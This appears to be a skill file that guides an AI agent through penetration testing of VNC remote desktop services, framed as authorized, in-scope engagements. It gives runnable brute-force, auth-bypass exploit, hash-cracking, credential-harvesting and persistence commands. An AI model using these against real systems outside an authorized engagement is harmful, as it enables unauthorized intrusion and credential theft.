vnc-pentest

name	vnc-pentest
description	Guides VNC remote desktop service penetration testing. Use when port 5900 is discovered during scanning or when VNC/RFB service is identified.

VNC Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Windows targets with VNC: load windows-pentest.

Ports and detection

Port	Service
5900/tcp, 5901/tcp	VNC (RFB protocol)
5800/tcp, 5801/tcp	VNC over HTTP (Java viewer)

Service fingerprint

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/vnc/vnc_none_auth",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 5900, "THREADS": 5}
)

CLI fallback:

nmap -sV --script vnc-info,vnc-title,realvnc-auth-bypass -p 5900,5901 <target>
nc -vn <target> 5900
# RFB protocol version in banner

Workflow

Task Progress:
- [ ] No-auth and security type check
- [ ] Password brute force
- [ ] RealVNC auth bypass check
- [ ] UltraVNC/TightVNC specifics
- [ ] Offline hash crack
- [ ] Document findings

No-auth access check

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/vnc/vnc_none_auth",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 5900}
)

CLI fallback:

vncviewer <target>::5900
nmap --script vnc-info -p 5900 <target>
# SecurityTypes: None = unauthenticated access

Password brute force

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/vnc/vnc_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 5900,
    "PASS_FILE": "/usr/share/wordlists/rockyou.txt",
    "STOP_ON_SUCCESS": true,
    "THREADS": 5
  }
)

CLI fallback:

hydra -P passwords.txt <target> vnc -t 4 -f
ncrack -P passwords.txt -p 5900 <target>
vncviewer -passwd passwd.txt <target>::5900

VNC passwords max 8 characters, DES-encrypted with fixed key.

RealVNC auth bypass (CVE-2006-2369 class)

Verify VNC version via nmap vnc-info script or msf_run_auxiliary_module vnc_none_auth before attempting bypass. Only affects RealVNC 4.1.0-4.1.1.

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/multi/vnc/vnc_auth_bypass",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "RPORT": 5900}
)
msf_run_exploit(
  module_name="exploit/multi/vnc/vnc_auth_bypass",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 5900},
  payload="cmd/unix/interact"
)

CLI fallback:

nmap --script realvnc-auth-bypass -p 5900 <target>
msfconsole -q -x 'use exploit/multi/vnc/vnc_auth_bypass; set RHOSTS <target>; exploit; exit'
# Affects older RealVNC 4.x builds

macOS ARD root login

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/vnc/ard_root_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 5900, "PASSWORD": "password"}
)

CLI fallback:

# Apple Remote Desktop on macOS targets
hydra -P passwords.txt <target> vnc -s 5900

UltraVNC / TightVNC specifics

MSF: No direct module; use CLI.

CLI fallback:

# UltraVNC - check MS Logon, DSM plugin, loopback-only
nmap --script vnc-info -p 5900 <target>
# TightVNC - file transfer and shared clipboard may leak data
vncviewer <target>::5900
# UltraVNC.ini / tightvnc.ini on compromised host may store encrypted password
reg query "HKLM\SOFTWARE\ORL\WinVNC3" /s
reg query "HKLM\SOFTWARE\TightVNC\Server" /s
find / -name "ultravnc.ini" -o -name "vnc.ini" 2>/dev/null

Offline VNC password crack

MSF: No direct module; use CLI.

CLI fallback:

# Extract ~/.vnc/passwd or registry-stored hash
vncpwd <passwd_file>                    # 3DES decrypt (weak key)
# Hashcat mode 23400 (hex) or 23401 (base64) depending on format
hashcat -m 23400 -a 0 vnc_hash.txt wordlist.txt
john --format=vnc vnc_hash.txt
# Generate passwd file for vncviewer after crack
vncpasswd -f <<< password > passwd.txt
vncviewer -passwd passwd.txt <target>::5900

Session access and screenshot

MSF: No direct module; use CLI.

CLI fallback:

vncviewer [-passwd passwd.txt] <target>::5901
# Active session may expose logged-in desktop, open apps, credentials

Security types: None, VncAuth, Tight, RA2.

Post-access

• Interact with active user session for cred harvesting
• Check saved passwords in browser, terminals, RDP clients
• Install persistence only if ROE permits (persistence-pentest)

Related skills

• windows-pentest - Windows host access via VNC session
• linux-pentest - Linux desktop access via VNC
• rdp-pentest - alternative remote desktop protocol